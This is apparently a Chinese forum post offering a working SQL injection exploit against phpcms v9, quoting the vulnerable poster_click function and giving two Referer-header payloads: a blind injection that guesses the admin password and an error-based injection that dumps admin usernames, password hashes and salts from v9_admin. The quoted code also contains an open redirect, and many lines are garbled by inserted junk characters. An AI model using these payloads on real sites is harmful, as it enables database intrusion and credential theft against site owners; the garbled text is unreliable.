phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
7 N: q: O% c( l
1 `9 X; C6 i( }/ c: z; N3 L; J! \5 ?1 Q问题函数\phpcms\modules\poster\index.php

$ g1 |, k! }2 W, t  tpublic function poster_click() {
9 D  w9 e8 O# \. x2 m$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
. L. w( ?" {9 W# p( u% R) W6 z$r = $this->db->get_one(array('id'=>$id));
( J( Y. X0 r! e" gif (!is_array($r) && empty($r)) return false;
+ p" s( Z7 Y* ?7 Z0 b$ip_area = pc_base::load_sys_class('ip_area');
5 X6 T% M; i! p, i8 ]. t3 j( V* c$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
% x* b1 U7 h5 ?& e3 U+ Q$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
" ]2 k$ z+ |& @% d} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
+ e, V# T# q- N2 S}



0 R* n7 z3 K! J7 n, M利用方式：
5 m6 w* X3 g" }" x& {
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

" I% m) Z' F, ]( ?" n2、代码是花开写的，随手附上了：
# i; p& k+ N7 S8 a& ?3 j& O
- b( z. l- S- v& x/ z' @0 W! S" G9 ~1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
